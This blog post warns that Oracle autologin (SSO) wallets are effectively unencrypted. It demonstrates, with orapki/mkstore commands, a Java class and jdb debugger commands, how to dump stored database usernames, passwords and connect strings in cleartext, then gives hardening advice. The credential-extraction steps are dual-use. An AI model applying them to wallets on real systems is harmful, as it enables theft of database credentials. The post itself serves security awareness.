Beware of the Oracle wallet autologin option

Oracle Wallets are used to store your database passwords in encrypted format. This is useful for application servers when you don't want to store your passwords in cleartext. A wallet password protects the wallet from reading and modification of entries. Each time your application needs to open a database connection it has to access the wallet, which requires entry of the wallet password. If you want your application to be able to read the database passwords from the wallet without entry of the wallet password, you can create it with the autologin option (so called SSO wallets).

When you think a little bit about it, it should be clear that this SSO wallet is not really encrypted anymore. Otherwise it would not be possible to read passwords from it, without authentication. In fact the autologin option creates a decrypted and obfuscated copy (cwallet.sso) from the original encrypted wallet (ewallet.p12). The whole security benefit from using a wallet compared to storing the passwords in cleartext more or less completely vanishes with the usage of the autologin option. I think the Oracle documentation is not very clear about this.

In this blog post I would like to demonstrate, that once you have access to an autologin wallet, you can extract all passwords very easily.

1. First let's create a wallet with a sample entry

orapki wallet create -wallet /home/oracle/wallet -auto_login_local \
  -pwd myWalletPass16
mkstore -wrl /home/oracle/wallet -createCredential oraclelinux:1521:orcl121 \
  myUser myPass

2. Write a trivial java class to open a database connection

package io.aregger.wallet;
import java.sql.SQLException;
import oracle.jdbc.pool.OracleDataSource;

public class OpenWallet {
    public static void main(String[] args) throws SQLException {
        OracleDataSource dataSource = new OracleDataSource();
        // put in a random url. host and instance don't need to exist
        dataSource.setURL("jdbc:oracle:thin:@foo:1521:bar");
        dataSource.getConnection();
    }
}

3. After compiling the class, start it with Java Debugger (jdb)

jdb -classpath \
  lib/ojdbc7_g.jar:lib/oraclepki.jar:lib/osdt_cert.jar:lib/osdt_core.jar:./ \
  -Doracle.net.wallet_location=/home/oracle/wallet \
  io.aregger.wallet.OpenWallet

ojdbc7_g.jar is the jdbc driver compiled with debugging information.

oraclepki.jar, osdt_cert.jar and osdt_core.jar are needed when working with Oracle wallets.

4. After starting the program with jdb, a breakpoint can be set and the program execution can be continued

> stop at oracle.jdbc.driver.PhysicalConnection:1853
> run

The position of the breakpoint depends on the jdbc version. In this case 12.1.0.2 was used.

Shortly after running the program, jdb should output the following:

Breakpoint hit: "thread=main", oracle.jdbc.driver.PhysicalConnection.getSecretStoreCredentials(), line=1,853 bci=162

This is the point where you have access to all the entries in the wallet in cleartext

main[1] print secretStore.b.d.entrySet()
 secretStore.b.d.entrySet() = "[oracle.security.client.password1=oracle.security.pki.r@74751b3,
                                oracle.security.client.username1=oracle.security.pki.r@741a8937,
                                oracle.security.client.connect_string1=oracle.security.pki.r@306e95ec]"

Dump the password

main[1] dump secretStore.b.d.entrySet().toArray()[0].getValue().a
 secretStore.b.d.entrySet().toArray()[0].getValue().a = {
m, y, P, a, s, s
}

Dump the username

main[1] dump secretStore.b.d.entrySet().toArray()[1].getValue().a
 secretStore.b.d.entrySet().toArray()[1].getValue().a = {
m, y, U, s, e, r
}

Dump the connection string

main[1] dump secretStore.b.d.entrySet().toArray()[2].getValue().a
 secretStore.b.d.entrySet().toArray()[2].getValue().a = {
o, r, a, c, l, e, l, i, n, u, x, :, 1, 5, 2, 1, :, o, r, c, l, 1, 2, 1
}

Conclusion

Extracting passwords from a SSO wallet is easy and only takes a little bit more effort than extracting it from a cleartext property file. In this example the wallet was created with orapki and the -auto_login_local option, so the above steps have to be executed on the machine where the wallet was created. If the wallet was created with mkstore, it can be copied and the steps to extract the passwords can later be executed on a different machine.

For security reasons you should consider the following points:

  1. Restrict filesystem access to your wallet (this should be obvious).
  2. If possible don't use the autologin option. This means you have to manually enter a password each time you want to start your application, which is often not feasible.
  3. If you really have to use a SSO wallet, create it with the -auto_login_local option, so it cannot be used after copying to other machines.
  4. Prevent your application user to connect from other hosts than the application server.

Update 2016-05-22: I just found a project on github which makes the whole password extraction from SSO wallets very easy: https://github.com/tejado/ssoDecrypt